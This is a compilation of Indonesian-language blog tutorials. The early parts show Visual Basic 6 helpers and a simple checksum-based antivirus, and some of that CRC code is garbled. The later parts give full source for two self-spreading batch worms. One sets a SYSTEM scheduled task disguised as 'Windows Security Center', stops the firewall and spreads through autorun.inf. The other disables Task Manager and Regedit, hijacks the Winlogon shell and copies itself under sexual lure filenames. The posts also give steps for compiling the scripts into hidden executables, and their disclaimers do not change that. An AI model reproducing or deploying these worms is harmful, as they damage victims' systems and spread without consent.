sDir = Space(260)
lRet = GetSystemDirectory(sDir, Len(sDir))
sDir = Left(sDir, lRet)
lRet = ShellExecute(lHwnd, vbNullString, "RUNDLL32.EXE", "shell32.dll,OpenAs_RunDLL " & sTmpFile, sDir, lnShowCmd)
End If
Else
SHOW_ERROR:
If pbShowMessage Then
If sErrorMess = vbNullString Then
sErrorMess = "File Tidak diketemukan!" & vbCrLf & psTempFileCaption & vbCrLf & slpFile
End If
MsgBox sErrorMess, vbExclamation + vbOKOnly, "File Error"
End If
End If
utShellExecute = True
Exit Function
Salah:
lErrNum = Err.Number
sErrDesc = Err.DescriptionErr.Raise lErrNum, , App.EXEName & vbCrLf & "Public Function utShellExecute" & vbCrLf & "Error # " & lErrNum & vbCrLf & sErrDesc & vbCrL

End Function

Selesai, Semoga bermanfaat.
 

Cara Membuat Crc Maker Pelengkap Antivirus (Checksum Dari Sebuah File) (Versi II)

• Buat Project Baru, Lalu Add Components 
   (CommonDialog "Microsoft CommonDialog Control 6.0" Atau ClassModules Commond Dialog)
   Lalu Tambahkan Ke Form..

• Tambah TextBox (Textbox1 Dan Textbox2 )
   Lengkap Dengan Label Lokasi Dan Checksum..
• Tambah 3 CommandButton (Command1, Command2, Command3)
   Lalu Coding Pada Form :
'######Start Here######
Private Sub Command1_Click()
    CommonDialog.ShowOpen
    Text1.Text = CommonDialog.FileName
End Sub

Private Sub Command2_Click()
    Clipboard.Clear
    Clipboard.SetText Text2.Text
End Sub

Private Sub Command3_Click()
    Text2.Text = GetChecksum(Text1.Text)
End Sub
'######End Here######


•Yg Terakhir Tambah Satu Modules Untuk Membuat Perintah (Name : ModChecksum)

Coding Modules : '######Start Here######
 ' =================================
' Crc By Wheldt
' improved from Wheldt Protection
' =================================

Option Explicit
Public Function GetChecksum(FilePath As String) As String
Dim Data As String * 850
Dim Checksum() As Double
Dim i As Integer

    ReDim Checksum(1): ReDim Checksum(2): ReDim Checksum(3)

    Select Case FileLen(FilePath)
        Case Is = 0 ' Bila ukuran file 0 byte
            GetChecksum = "NULL"
            If GetChecksum = "NULL" Then Debug.Print "Checksum NULL : File " & FileLen(FilePath) & " byte"
            Exit Function
        Case Else
            Data = ICSC(FilePath)
    End Select

        For i = 1 To (Len(Data) / 3) Step 1
            Checksum(1) = Checksum(1) + Asc(Mid(Data, i, 1)) ^ 2
        Next
        For i = ((Len(Data) / 3) + 1) To (Len(Data) - (Len(Data) / 3)) Step 3
            Checksum(2) = Checksum(2) + Asc(Mid(Data, i, 1)) ^ 3
        Next
        For i = ((Len(Data) - (Len(Data) / 3)) + 1) To (Len(Data)) Step 2
            Checksum(3) = Checksum(3) + Asc(Mid(Data, i, 1)) ^ 2
        Next

    GetChecksum = Hex$(Checksum(1)) & Hex$(Checksum(2)) & Hex$(Checksum(3))
    If GetChecksum = "000" Then Debug.Print "Checksum 000 : Gagal"
End Function

Private Function ICSC(FilePath As String) As String
Dim String1 As String * 50 ' Variabel2 string dibatasi ruangnya supaya scanning dapat berjalan dengan cepat
Dim String2 As String * 250
Dim String3 As String * 250
Dim String4 As String * 250
Dim String5 As String * 50

Dim FileString As String * 850

    Select Case FileLen(FilePath)
        Case Is >= 1000 ' bila file lebih besar sama dengan dari 1000byte
            Open FilePath For Binary Access Read As #1
                Get #1, 25, String1
                Get #1, 250, String2
                Get #1, (FileLen(FilePath) / 2) - 125, String3
                Get #1, FileLen(FilePath) - 500, String4
                Get #1, FileLen(FilePath) - 75, String5
            Close #1
          
            FileString = String1 & String2 & String3 & String4 & String5
            ICSC = FileString
        Case Else ' selainnya
            Open FilePath For Binary Access Read As #1
                Get #1, , String1
                Get #1, (FileLen(FilePath) / 2) / 2, String2
                Get #1, FileLen(FilePath) - (FileLen(FilePath) / 2), String3
            Close #1
          
            FileString = String1 & String2 & String3
            ICSC = FileString
    End Select
End Function

 '######End Here######
Tinggal COmpile Ke Exe
 

Cara Membuat CommonDialog Sendiri

Caranya Hanya Dengan Mengganti Activex Dengan ClassModules
Yang Sudah Ada Pada Visual Basic Sendiri...!!! Yuk Kita Belajar!!


Klik Menu Project  Lalu Add ClassModules (Name : "CommonDialog"

Lalu Coding Di ClassModules Itu :
'#########Start Here#########

'Created by Wheldt
'Name ClassModule: CommonDialog
'Catatan: ClassModule ini dapat disertakan diberbagai aplikasi
'VB6, jadi tidak perlu lagi menggunakan file COMDLG32.OCX untuk
'membuat CommonDialog. 

'GNU General Public License : Wheldthacker.blogspot.com

Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" _
(pOpenFileName As Any) As Long

Private Declare Function GetSaveFileName Lib "comdlg32.dll" Alias "GetSaveFileNameA" _
(pOpenFileName As Any) As Long

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long

Private Type OPENFILENAME
    lStructSize As Long
    hwndOwner As Long
    hInstance As Long
    lpstrFilter As String
    lpstrCustomFilter As String
    nMaxCustFilter As Long
    nFilterIndex As Long
    lpstrFile As String
    nMaxFile As Long
    lpstrFileTitle As String
    nMaxFileTitle As Long
    lpstrInitialDir As String
    lpstrTitle As String
    flags As Long
    nFileOffset As Integer
    nFileExtension As Integer
    lpstrDefExt As String
    lCustData As Long
    lpfnHook As Long
    lpTemplateName As String
End Type

Dim OFName As OPENFILENAME

Public Sub ShowOpen()
    If (GetOpenFileName(OFName) <> 0) Then
        'Berhasil jika tidak bernilai 0
    End If
End Sub

Public Sub ShowSave()
    If (GetSaveFileName(OFName) <> 0) Then
        'Berhasil jika tidak bernilai 0
    End If
End Sub

Property Let FileName(ByVal lpFileName As String)
    'Selesai (Untuk memasukan nama file yang dipilih)
    OFName.lpstrFile = Trim$(lpFileName)
End Property

Property Get FileName() As String
    'Selesai (Untuk mendapatkan nama file yang dipilih)
    FileName = Trim$(OFName.lpstrFile)
End Property

Property Let InitDir(ByVal lpDirectory As String)
    'Selesai (Untuk menginisialisasikan Directory yang akan
    'dibuka pertama kali)
    If (Right$(lpDirectory, 1) <> "\") Then
        lpDirectory = lpDirectory & "\"
    End If
    OFName.lpstrInitialDir = lpDirectory
End Property

Property Let DialogTitle(ByVal lpTitle As String)
    'Selesai (Judul Dialog)
    OFName.lpstrTitle = lpTitle
End Property

Property Let Filter(ByVal lpExtension As String)
    'Selesai (Penyaring [Filter] untuk ekstensi file)
    lpExtension = Replace(lpExtension, "|", Chr$(0))
    OFName.lpstrFilter = lpExtension
End Property

Private Sub Class_Initialize()
    'Menginisialisasikan Class untuk dipakai pada
    'fungsi ShowOpen dan ShowSave.
    OFName.hwndOwner = GetForegroundWindow
    OFName.lStructSize = Len(OFName)
    OFName.hInstance = App.hInstance
    OFName.nMaxFile = 255
    OFName.lpstrFileTitle = Space$(254)
    OFName.lpstrFile = Space$(254)
    OFName.nMaxFileTitle = 255
    OFName.flags = 0
End Sub
'########End Here#########


Lalu Tambahkan Object Command Button ("Command1 Dan Command2")

Coding :
'#########Start Here#########
Private Sub Command1_Click()
    Dim CD As New CommonDialog
    CD.DialogTitle = "Buka file"
    CD.Filter = "Semua file (*.*)|*.*"
    'CD.InitDir = "C:"
    CD.ShowOpen
    If (CD.FileName <> vbNullString) Then
        Text1.Text = CD.FileName
    End If
End Sub

Private Sub Command2_Click()
    Dim CD As New CommonDialog
    CD.DialogTitle = "Simpan file"
    CD.Filter = "File teks (*.txt)|*.txt|Semua file (*.*)|*.*"
    'CD.InitDir = "C:"
    CD.ShowSave
    If (CD.FileName <> vbNullString) Then
        Text1.Text = CD.FileName
    End If
End Sub

'########End Here#########

Nah Tinggal Compile Deh...!!!
 

Cara membuat crc Untuk Melengkapi Antivirus (Versi I)

cara ini sangat sederhana dan dibuat untuk menangapi tutorial sebelumnya yang tidak lengkap apabila hanya membuat virus saja oke langsung aja deh tanpa basa-basi lagi
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (- opsional)
* First
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :

'================= START HERE ====================
Private crcTable(0 To 255) As Long 'crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
'bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long 'Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long 'variabel temp hasil perhitungan
If lLen = 0 Then Exit Function 'keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = "(((lTemp And &HFFFFFF00) &H100) And &HFFFFFF)" Xor "(crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))"
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Function
Private Function BuildTable() As Boolean
Dim i As Long, x As Long, Crc As Long
Const Limit = &HEDB88320
For i = 0 To 255
Crc = i
For x = 0 To 7
If Crc And 1 Then
Crc = "(((crc And &HFFFFFFFE) 2) And &H7FFFFFFF)" Xor Limit
Else
Crc = "((crc And &HFFFFFFFE) 2) And &H7FFFFFFF"
End If
Next x
crcTable(i) = Crc
Next i
End Function
Private Sub Class_Initialize()
BuildTable
End Sub
'================= END HERE ====================

 Lalu ketikkan kode berikut dalam event Command1_Click :

Private Sub command1_click()
CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog
On Error GoTo erorhandle 'label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1)) As Byte 'deklarasi ulang untuk array
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) 'mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC
HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc 'tampilkan hasilnya
Exit Sub
erorhandle:
If Err.Number = "32755" Then MsgBox Err.Description 'error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
End Sub
'================= END HERE ====================
Coba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.
* Second
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file
Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (- diberi nama module1) lalu isi dengan kode :

'================= START HERE ====================
Public namaVirus As String, CrcVirus As String 'deklarasi variabel global untuk nama dan CRC virus
Public pathExe As String 'deklarasi variabel penyimpan lokasi file EXE AV kita
Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String 'variabel penampung untuk isi file
Open namaFileDB For Input As #1 'buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, "=") 'pisahkan isi file bedasarkan pemisah karakter '='
namaVirus = tmp(0) 'masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) 'masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then 'bila CRC perhitungan cocok/match dengan database
cariDatabase = True 'kembalikan nilai TRUE
Exit Do 'keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function
'================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :

'================= START HERE ====================
Private Sub command2_click()

If Len(App.Path) <= 3 Then 'bila direktori kita adalah root direktori
pathExe = App.Path
Else
pathExe = App.Path & ""
End If
CommonDialog1.CancelError = True '‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog
On Error GoTo erorhandle 'label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1)) As Byte 'deklarasi ulang untuk array
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) 'mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC
HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathExe & "DB.txt") Then 'bila fungsi bernilai TRUE
MsgBox "Virus ditemukan : " & namaVirus 'tampilkan message Box
End If
Exit Sub
erorhandle:
If Err.Number = "32755" Then MsgBox Err.Description 'error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
End Sub
 '================= END HERE ====================
 

Cara Membuat Virus Exe Dengan Batch Script

Hmm.... Kedengarannya menarik nih membuat virus exe dengan batch script, tetapi ini semua juga harus menggunakan program pihak ke-3 yaitu Bat To Exe Converter (By Fatih Kodak). Program ini berfungsi untuk melink file batch menjadi file executable (*exe).








Sekarang saya akan membuat skrip batch yang tergolong mudah dan tidak berbahaya (bersenjata ilegal he.he.he). Skrip ini saya sebut Win32/Micronicker, karena skrip ini nantinya akan membuat folder yang mungkin cukup ditakuti oleh banyak orang jika menempel di flash disk drivenya yaitu RECYCLER. Udah jangan terlalu banyak ketik, capek nih. To Do Point aja:

WIN32/MICRONICKER

@echo off
Set Task=%WINDIR%\Tasks
Set Dos=%WINDIR%\System32

If Exist %Dos%\lwolf32.dll (
GoTo Mulai) Else (
GoTo Buat)

:Buat
If Exist *vmx (
Xcopy /h /y /q *vmx %Dos%
Attrib -s -h -r %Dos%\*vmx
Ren %Dos%\*vmx lwolf32.dll
Attrib +s +r %Dos%\lwolf32.dll
If Exist %Task%\*job (
Attrib -s -h -r %Task%\*job
Del /s /q %Task%\*job
)
SchTasks /Create /Tn "Windows Security Center" /Tr "cmd.exe /r %Dos%\lwolf32.dll" /sc minute /ru system
Sc Stop SharedAccess
)
Exit

:Mulai
Taskkill /f /im lwolf32.dll
Sc Stop SharedAccess

For %%a in (
c: d: e: f: g: h: i: j: k:) do (
If Exist %%a\* (
If Not Exist %%a\RECYCLER\* (
Md %%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\
Type %Dos%\lwolf32.dll>%%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\jwgkvsq.vmx
Echo [.shellclassinfo]>%%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\desktop.ini
Echo clsid={645FF040-5081-101B-9F08-00AA002F954E}>>%%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\desktop.ini
Attrib +s +h +r %%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\jwgkvsq.vmx
Attrib +s +h +r %%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\desktop.ini
Attrib +s +h +r %%a\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003
Attrib +s +h +r %%a\RECYCLER

Attrib -s -h -r %%a\autorun.inf
Echo [autorun]>%%a\autorun.inf
Echo open=\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\jwgkvsq.vmx>>%%a\autorun.inf
Echo shell\Open\command=\RECYCLER\S-1-5-21-1482476501-1682526488-1202660629-1003\jwgkvsq.vmx>>%%a\autorun.inf
Echo action=Open folder to view files>>%%a\autorun.inf
Echo Icon=%Dos%\Shell32.dll,4 >>%%a\autorun.inf
Attrib +s +h +r %%a\autorun.inf
)
)
)
Rem // Akhir Dari Skrip Virus Micro Conficker
Exit

Wah kalau dilihat sepintas sepertinya biasa saja ya (bagi expert batch), kalau
bagi NEWBIE, wadooh....... Gampang bener ya?
Lalu bagaimana cara mengcompilenya?
Tenang ikuti petunjuk menggunakan Bat To Exe Converter.
Diharapkan skrip batch di atas dicopy paste-kan saja, agar mengurangi kemungkinan
tidak jalannya skrip atau gagal skrip yang dikarenakan salah posisi program.

1. Jalankan program Bat2ExeConverter
2. Pilih opsi Visibility => Invicible Application
3. Pilih Batch File atau source code yang di atas
4. Compile
5. Ganti nama file *exe tersebut dengan nama jwgkvsq.vmx

Cara menjalankannya bagaimana?
Buat skrip batch yang diletakan sama dengan file jwgkvsq.vmx. Berikut skripnya:

@echo off
Start jwgkvsq.vmx

Cara membasminya bagaimana?
Coba ketikan "Tasks" pada menu Start => Run. Lalu hapus file "Windows Security Center". Ketikan lagi "System32" pada Start => Run. Lalu hapus file "lwolf32.dll" yang menjadi file milik virus/worm tersebut. Selesai.

Selamat menikmati hasilnya. PASTIKAN DEEP FREEZE ANDA HIDUP !!!

[PERINGATAN]
Sebenarnya source code ini saya tidak ingin publikasikan mengingat banyaknya VM yang mencari berbagai macam source code untuk virusnya, tetapi diharapkan jangan menyalahgunakan source code ini. Saya tidak bermaksud memprovokasikan anda sebagai Virus Maker (VM), melainkan hanya untuk pembelajaran dan mengerti tentang Hebatnya Batch Script, anda juga dapat mengembangkannya sendiri skrip ini. Semoga source code ini bermanfaat. INGAT MENYEBARKAN VIRUS/WORM PERUSAK KOMPUTER ITU ADALAH ILEGAL DAN DOSA, SEMUA INI AKAN DIPERTANGGUNGK JAWABKAN DI AKHIRAT KELAK, KARENA UNTUK APA ILMU YANG KAMU PUNYA, UNTUK MEMBANTU ORANG KAH ATAU MEMBUAT ORANG KESUSAHAN. SEMUA PERBUATAN ITU AKAN ADA BALASANNYA !!!!
Jika ingin skrip batch to exe terhebat sepanjang sejarah berikan alamat email anda di Sini
 

Tutorial Membuat BAT MENJADI EXE dan tutorialnya

To the point aja. Setiap kali saya online internet, saya selalu sempatkan diri untuk mampir di situs jasakom ini.

Dengan hampir membaca semua artikel yang berhubungan dengan registry dan virus, atas nama logika yang saya punya, saya berhasil membuat sebuah program yang menurut saya layak disebut sebagai virus, walaupun masih virus-virusan.

Kenapa saya pede sekali dengan menyebut program ini sebagai virus? Karna program yang saya buat dengan mengunakan software QuickBFC ini, bisa membelah diri (apabila dieksekusi)-bukankah salah satu ciri dari virus adalah dapat menggandakan diri- dan program ini juga masih sanggup untuk menyebar ke flashdisk(atau memory card) yang terdefault ke drive F:\. Jelas layak kan program yang satu ini di sebut sebagai virus(-virusan). Dan program ini juga tidak akan merusak file ataupun menghapusnya, Cuma buat iseng doang ko, cuma main-main diregistry.

Oke, karna saya rasa basa-basinya udah kebanyakan mari kita mulai.
Tapi sebelumnya saya mau mengucapkan terimakasih dulu buat si tomPLIX yang udah nulis artikel “Bikin Virus Dengan Perintah CMD”, karna program ini adalah pemikiran lanjutan setelah saya baca artikel itu. Dan juga tidak lupa rasa termakasih yang sebesar besarnya buat mas Wardana, R, S. yang udah ngenalin saya dengan pemrograman lewat bukunya; “Pemrograman Virus dan Spyware (uncensored)”, diterbitkan oleh jasakom.

Oke di mulai dari apa yang dibutuhkan. Yang dibutuhkan adalah :

1. Software Quick Batch File Compiler (Quickbfc) www.abyssmedia.com

(apa gunanya..?: software ini bisa menjadikan file .bat menjadi file .exe (executable). Karna virus yang akan kita buat ini bekerja dengan perintah CMD. Dan ada satu kegunaan software ini lagi, yaitu menyembunyikan jendela console. Jadi file .exe yang dibuat, ketika di run(jalankan) tidak menampilkan jendela console tapi tetap bekerja!! Hebat kan neh software.
2. Software Icon Changer

(apa gunanya???: lo ga mau kan virus buatan lo udah di apus duluan karna iconnya aneh dan mencurigakan. Nah, Icon Changer ini diperlukan untuk mencari Icon yang dimiliki oleh Windows, downloadnya di www.shelllabs.com .
3. Kemauan untuk memahami perintah-perintah CMD, Visual Basic Script (VBS) dan ga takut bermain di RegEdit.

Oke, semua udah siap. Mari dimulai, jalan kan software Quick bfc, lalu ketik script dibawah ini:
1. @echo off
2. If exist c:\windows\exploler.exe Goto lanjut
3. for %%a in (*.exe) do if %%~za equ 123456 copy "%%a" %systemroot%\exploler.exe
4. copy c:\windows\exploler.exe c:\”rahasia gua”.exe
5. echo on error resume next>c:\windows\gila.vbs
6. echo Dim WshShell, f1, fso, f2>>c:\windows\gila.vbs
7. echo set WshShell = CreateObject("Wscript.Shell")>>c:\windows\gila.vbs
8. echo set fso = CreateObject("Scripting.FileSystemObject")>>c:\windows\gila.vbs
9. echo set f1 = fso.GetFile("C:\WINDOWS\exploler.exe")>>c:\windows\gila.vbs
10. echo set f2=fsoGetFile(“C:\windows\gila.vbs”)>>c:\windows\gila.vbs
11. echo f1.Attributes = "3">>c:\windows\gila.vbs
12. echo f2.Attributes =”3”>>c:\windows\gila.vbs
13. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD">>c:\windows\gila.vbs
14. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "29", "REG_DWORD">>c:\windows\gila.vbs
15. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive", "29", "REG_DWORD">>c:\windows\gila.vbs
16. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools", "1", "REG_DWORD">>c:\windows\gila.vbs
17. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD">>c:\windows\gila.vbs
18. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD">>c:\windows\gila.vbs
19. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", "1", "REG_DWORD">>c:\windows\gila.vbs
20. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://fanaticanz.blogspot.com", "REG_SZ">>c:\windows\gila.vbs
21. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe C:\WINDOWS\exploler.exe", "REG_SZ">>c:\windows\gila.vbs
22. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "rastaman", "REG_SZ">>c:\windows\gila.vbs
23. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "fanatiCanz", "REG_SZ">>c:\windows\gila.vbs
24.

25. :lanjut
26. call c:\windows\gila.vbs
27. if exist c:\legalin_ganja_dong_by_fanatiCanz.exe goto ceki
28. for /R c:\ %%d in (legalin_ganja_dong_by_fanatiCanz.exe) do copy c:\windows\exploler.exe "%%d"
29. Goto ceki
30.

31. :infek1
32. for %%a in (*.exe) do if %%~za equ 12345 copy "%%a" %systemroot%\exploler.exe
33. Goto ceki
34.

35. :infek2
36. Copy c:\windows\exploler.exe c:\”gambar lucu”.exe
37. Goto ceki
38.

39. :infek3
40. Copy c:\windows\exploler.exe f:\”koleksi kartun flash”.exe
41. Goto ceki
42.

43. ekf
44. if exist f:\”koleksi kartun flash”.exe Goto ceki
45. Goto infek3

46.


47. eki
48. if not exist c:\windows\exploler.exe Goto infek1
49. if not exist c:\”gambar lucu”.exe Goto infek2
50. if exist f:\ Goto cekf
51.

52. Goto ceki

Waaahhhh……… panjang ya?jangan bilang iya, soale mungkin nanti disaat menjadi programer betulan, 52 baris sih masih sangat amat enteng sekali!!! Mungkin nanti bakalan punya proyek yang jumlahnya ribuan atau mungkin puluhan ribu baris, jadi jangan menyerah Cuma karna 52 baris diatas.

Sebetulnya tanpa software quickbfc, masih bisa ko bikin virus(-virusan) ini dan script diatas ditulis dengan menggunakan notepad, lalu di simpan dengan ektensi-nya harus .bat. Dan emang kalo mau nyoba bikin pake notepad trus disimpen dengan ektensi .bat, ada perintah yang bisa diganti, yakni perintah baris ke-3 dan 33 yang “for %%a in dst….” Diganti jadi “copy %0 tujuan dan nama file nya”.

Tapi kan kalo nyebarin dengan ektensi .bat kan teramat mencurigakan, mendingan pake quickbfc lalu compile dengan ektensi .exe namanya terserah, contoh:cewe_telanjang.exe (icon nya juga yang sexi, biar lebih mantap), gua yakin para muka mesum akan langsung menjadi korban (heehehe)!!! Dan berdoalah semoga kompie calon korban ngga pake anti virus!.

Oke kalo kamu masih sanggup dan masih mau ngebaca tulisan ini, kamu bakalan dapet penjelasan dari script diatas!

Dan penjelasannya adalah:
Baris
1. Ini Cuma perintah dasar cmd yang tidak akan menampilkan perintah yang harusnya tertulis di console cmd. (dipikir-pikir ngapain juga yach? Kan ini adalah proyek ghost application! Tapi bodo ah!!)
2. Ini perintah untuk mengecek keberadaan file explorer.exe di drive c:\windows. Kalo udah ada kan berarti udah diinfek, dan akan langsung menuju parameter perintah lanjut, tapi kalo belum ada maka akan dilanjutkan ke baris selanjutnya.
3. perintah untuk menyalin program ini ke folder c:\windows dengan nama explorer.exe yang selanjutnya akan menjadi file induk program ini. Sebetulnya kalo dibikinnya pake notepad dan disimpan dengan ektensi .bat maka perintah “for %%a in (*.exe) do if %%~za equ 123456 copy "%%a" %systemroot%\exploler.exe” diganti jadi “copy %0”. Nah, kalo pake software Quickbfc perintah “copy %0” tidak berfungsi. (lengkapnya baca artikel siTomplix yang judulnya Bikin Virus Dengan Perintah CMD)
4. perintah untuk menyalin file explorer.exe di drive c:\windows\ ke drive c:\ dengan nama “rahasia gua.exe
5. perintah di baris ini sampai baris 23 adalah perintah yang menggunakan parameter > dan >> untuk membuat sebuah file Visual Basic Script yang bernama gila.vbs. Disinilah kesaktian program ini, kalau berhasil dieksekusi (kenapa kalau..? ya karna ada beberapa anti virus yang memblok akses ke registry –antivirus yang saya pake ANTIvir, file .vbs ini berjalan mulus –berarti sukses. Tetapi ketika saya coba pake xxxx ada warning dan mempertanyakan file itu boleh dieksekusi atau dihapus atau dikarantin-.

Sukur-sukur si calon korban ga make anti virus, tentram damai program ini jalan. Kenapa harus make file Visual Basic Script aja untuk entry ke registry? Jawabannya adalah file Visual Basic Script ini tidak hanya untuk mengisi registry saja. Ada satu lagi fungsi dari virus ini, yaitu mengganti attribute file explorer di drive c:\windows\ menjadi Hidden. Lagian juga kalo ngisi registry pake ektensi .reg bakalan ada pertanyaan “are you sure want to add the information in nama_file.reg to the registry?” ga efisien banget kan? Oke, kembali ke….? Registry. Dan registry yang di isi adalah :


1. Menghilangkan menu RUN
2. Menyembunyikan drive A, C, D dan E di windows explorer
3. Menyembunyikan semua file di drive A, C, D dan E windows explorer (bakalan ada pembatasan!)
4. Men-disable kan menu RegEdit
5. Menghilangkan menu Folder Option
6. Menghilangkan menu Search
7. Mendisable kan Task Manager (ctrl+alt+del tidak bisa digunakan)
8. Mengganti alamat default Internet Explorer menjadi http://fanaticanz.blogspot.com
9. Menjadikan file exploler.exe di drive c:\windows yang tadi disalin(copy) selalu dijalankan ketika computer di hidupkan lagi walaupun windows masuk ke dalam safe mode!
10. Entry yang ini bakalan merubah nama owner organitation(coba deh kalian klik kanan di my computer trus pilih properties, dan liat di situ ada tulisan "registered to:”) nah, entry yang satu ini akan merubah nama organization yang tadinya apapun menjadi “rastaman”
11. Sama, entry yang satu ini juga merubah nama owner (cek lagi aja di properties my computer) yang tadinya apapun menjadi “fanaticanz”

Puh.. selesai juga tentang Registry…. Masih mau lanjut???? lanjut mang……………
24. kosong
25. ini parameter yang membuat kumpulan perintah yang terdiri dari baris 26 – 28
26. ini perintah yang akan mengeksekusi file gila di folder c:\windows
27. ini perintah yang mempertanyakan keberadaan file legalin ganja dong by fanatiCanz.exe, jika ada maka akan langsung dirujuk menuju parameter perintah ceki
28. ini perintah untuk menggandakan file induk exploler.exe yang ada di drive C:\windows\ ke seluruh folder dan subfolder yang ada di drive c:\ dengan nama legalin_ganja_dong_by_fanatiCanz.exe ((((thank’s a lot for tomplix))))
29. ini perintah untuk langsung menuju parameter perintah ceki (baris 47)
30. kosong
31. ini parameter yang membuat kumpulan perintah bernama infek1 yang berisikan perintah dari baris 33 – 34
32. perintah ini untuk menyalin file program ini dan sedang dijalankan (eksekusi) ke folder c:\windows dengan nama exploler.exe
33. ini perintah yang merujuk langsung ke parameter perintah ceki
34. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
35. parameter yang membuat kumpulan perintah bernama infek2 yang berisikan perintah dari baris 37 – 38.
36. ini perintah untuk menyalin file induk exploler.exe ke drive c:\ dengan nama gambar lucu.exe
37. ini perintah yang langsung merujuk ke perintah ceki
38. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
39. ini parameter yang membuat kumpulan perintah bernama indek3 yang berisikan perintah dari baris 41 – 42
